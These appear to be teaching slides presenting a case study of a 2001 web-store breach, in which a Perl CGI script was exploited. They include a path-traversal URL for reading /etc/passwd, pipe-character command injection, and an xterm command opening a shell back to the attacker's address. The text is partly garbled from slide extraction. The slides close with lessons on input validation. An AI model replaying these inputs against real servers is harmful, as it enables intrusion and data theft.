Hacking Case Study

Sungchul Hong

Acme Art, Inc. Case

• October 31, 2001

• www.acme-art.com

• A hacker stole credit card numbers from the online store’s database.

• Firewall was installed

• Only port 80 and 443 were open

• Computer forensics teams found following;

Server Environment

• Apache 1.312 on Linux system

• Perl CGI script was used

Hacker is looking around web pages and clicking images

http://www.acme-art.com/idex.cgi?page=tahoe1.shtml

Hacker's Move

• HTTP://www.acme-art.com/index.cgi?page=index.cgi

• 10.0.1.21 - - [31/Oct/2001:03:03:41 +0530] “GET /cgi-bin/ HTTP/1.0” 403 272

• Hacker sees that index.cgi accepts a filename as a parameter and displays the contents of that filename.

• He uses index.cgi itself as a parameter to display its own source code

Vulnerability Revealed

*** No parameter type checking ***

Index.cgi page is revealed

Vulnerability

The hacker guesses the system file name and its path.

Then open it.

Error Message Reveals the programming secrete.

Hacker’s Next Move

http://www.acme-art.com/index.cgi?page=/../../../../../../../../../etc/passwd

(write the passwd file into the screen)

Message

• The entire contents of the /etc/passwd file are returned and displayed in the browser.

• Rootx0:0:root/root/bin/bash bin:x:1:1:bin/bin: daemonx:2:2:daemon:/sbin:admx3:4:adm:/var/adm: lp:x4:7:lp:/var/spool/lpd: syncx:5:0:sync:/sbin/bin/sync/shutdown:x:6:0shutdown:/sbin:shutdown halt:x:7:halt:/sbin/ …

Next Move

The hacker uses the pipe character in the file parameter, followed by commands of his choice. Now instead of a file being opened, Perl opens a file handle, which receives the standard output generated by the commands specified in the file name parameter

Code

• ls –la / *reveals files in the root directory• id /* get the process id for index.cgi• which xterm /*path for xterminal• (use hex ‘0A’ for line feed)

• Now hackers can run any commands on the Web server under the security privileges of the “nobody” account.

Use xterm to gain interactive shell access to the Web server.

Xterm –display 10.0.1.21:210.0&

(The xterm command launches an xterm window back to the attacker’s display on 10.0.1.21:0.0)

Hacker’s View

• Bash$ id

• Uid=99(nobody) gid=99(nobody) group=99(nobody)

• Bash$ pwd

• /usr/local/apache/htdocs

• Bash$

Note

• The attacker used port 80 (http port)

• Use only HTTP

• Firewall couldn’t help it.

• Lesson: – All the inputs must be checked.– Do not show unnecessary information.